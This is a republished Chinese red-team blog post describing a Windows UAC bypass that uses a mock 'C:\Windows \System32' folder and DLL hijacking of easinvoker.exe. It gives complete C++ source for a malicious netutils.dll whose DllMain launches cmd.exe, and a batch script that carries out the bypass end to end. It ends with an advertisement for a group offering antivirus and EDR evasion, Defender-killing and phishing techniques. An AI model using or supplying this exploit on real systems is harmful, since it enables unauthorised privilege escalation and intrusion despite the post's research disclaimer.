文章总结: 本文介绍了一种利用模拟受信任目录技术绕过UAC的提权手法。通过创建带空格后缀的目录如C:\Windows\System32,并将恶意netutils.dll与easinvoker.exe放入该目录,利用DLL劫持在进程加载时执行恶意代码实现提权。文末包含红队技术圈子推广信息。 综合评分: 65 文章分类: 漏洞分析,渗透测试,红队
【UAC提权】一种可利用的提权手法
原创
Hello888 Hello888
安全天书
2026年1月15日 16:25 广西
0x01 声明
本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担!!!
0x02 UAC介绍
当dll位于受信任的 C:\Windows\System32 文件夹中时,自动提升权限的可执行文件才能加载该dll。我们使用模拟受信任文件夹技术来解决这个问题。简而言之,当你创建一个模拟文件夹时,该文件夹的尾部会包含一个空格,例如:c:\windows \
0x03 UAC使用
创建c:\windows \system32\,选择easinvoker.exe
在使用 easinvoker.exe 加载 DLL 时,我们需要确保包含正确的导入函数。我不想处理大量的导入 API,所以我想找到一个只包含一两个 API 的 DLL,netutils.dll相对较少。
然后像白加黑利用,一样去制作一个netutils.dll:
#include <windows.h>extern "C" __declspec(dllexport) int NetApiBufferAllocate() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetApiBufferFree() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetApiBufferReallocate() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetApiBufferSize() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetRemoteComputerSupports() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetapipBufferAllocate() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpIsComputerNameValid() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpIsDomainNameValid() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpIsGroupNameValid() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpIsRemote() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpIsRemoteNameValid() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpIsShareNameValid() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpIsUncComputerNameValid() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpIsUserNameValid() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpwListCanonicalize() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpwListTraverse() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpwNameCanonicalize() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpwNameCompare() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpwNameValidate() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpwPathCanonicalize() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpwPathCompare() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }extern "C" __declspec(dllexport) int NetpwPathType() { MessageBoxA(0, __FUNCTION__, 0, 0); return 0; }BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("cmd.exe", 1); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
最后,编写bat脚本执行,成功UAC:
@echo offcd %USERPROFILE%\Desktopmkdir "\\?\C:\Windows "mkdir "\\?\C:\Windows \System32"copy "c:\windows\system32\easinvoker.exe" "C:\Windows \System32\"copy "netutils.dll" "C:\Windows \System32\""C:\Windows \System32\easinvoker.exe"
**0x04 红蓝偶像练习生小圈子
圈子主要研究方向渗透测试、红蓝对抗、钓鱼手法思路、武器化作,红队工具二开与免杀。圈内不定期分享红队技术文章,攻防经验总结,学习笔记以及自研工具与插件,目前圈子已满300人,欢迎各位进圈子交流学习!
**圈子目前更新相关技术文章:
* HeavenlyBypassAV内部版-轻松免杀各大杀软
-
冰蝎webshell免杀工具
-
哥斯拉webshell免杀工具
-
红队场景下lnk钓鱼Bypass国内AV
-
1日和0日POC
-
lnk钓鱼思路视频讲解
-
lnk钓鱼Bypass天擎
-
msi钓鱼
-
chm钓鱼
-
Kill360核晶
-
AV对抗-致盲AV(核晶)
-
捆绑免杀360
-
杀火绒
-
火绒6.0内存免杀
-
kill-windows Defender
-
Defender分离免杀
-
Defender知识点
-
HeavenlyProtectionCS内部CS插件
-
EDR对抗思路
-
进程注入知识点
-
自启动思路
-
多种维权手法
-
Fscan免杀核晶
-
QVM解决思路
-
红队思路-钓鱼环境下小窗口截屏窃取
-
免杀Todesk/向日葵读取工具
-
渗透测试文章思路
-
内网对抗文章思路
-
还有更多红队思路文章!期待您的加入!!!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全天书 Hello888 Hello888《【UAC提权】一种可利用的提权手法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论